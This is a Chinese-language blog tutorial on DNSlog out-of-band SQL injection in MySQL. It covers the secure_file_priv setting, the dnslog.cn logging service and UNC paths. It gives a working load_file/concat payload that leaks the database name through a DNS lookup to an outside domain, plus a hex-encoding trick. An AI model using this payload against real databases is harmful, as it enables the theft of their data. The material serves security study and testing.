DNSlog注入 信息的 带外|外带 sql注入利用详解+实操

DNSlog注入

DNSlog注入原理

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度

首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
可了解一下load_file和outfile

show variables like ‘%secure%’;查看load_file()可以读取的磁盘。

有路径或为null 的 则不可以进行 DNSlog 外带
在这里插入图片描述
为空的则可以
在这里插入图片描述
在 my.ini 可以设置
在这里插入图片描述
设置完要重启一下mysql服务 任务管理器中 重启服务
在这里插入图片描述

DNSlog注入工具

工具
http://www.dnslog.cn

http://ceye.io
这里用 http://www.dnslog.cn 来演示
在这里插入图片描述
首先看看怎么用 效果
复制到网址处 前面加点信息 查询
在这里插入图片描述
在这里插入图片描述
我们可以看到 刚刚查询该域名的信息就被记录下来了
在这里插入图片描述

SQL注入利用

当前查询信息
在这里插入图片描述
UNC路径

什么是UNC路径?

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

那我们这就是通过这种方式来带出信息
load_file() 里面我们构造UNC路径

1、四个 \ 其中为转义 代表两个 \
2、后面跟上我们要的信息
3、跟上我们的域名
4、最后还有个文件名,可以随意写 如下面的 123

那么mysql 就会去访问这个路径 去找这个路径下的文件123

也就会访问我们的地址 那么就会向上DNS解析 服务器就会记录下这次解析

我们再查DNSlog 日志 他的记录 ,然后我们就带出了信息

select load_file(concat('\\\\',(select database()),'.qqjoy9.dnslog.cn\\123'));

在这里插入图片描述
我们要的信息就带出来了
在这里插入图片描述
这里要注意的是,如果外带信息有特殊字符
例如 我们要外带这个 里面有个 @ 那么就外带不了
在这里插入图片描述
可以通过hex函数 转为16进制来外带
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
那么之后就是在实际应用中 能select load_file的地方就可以尝试 外带

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值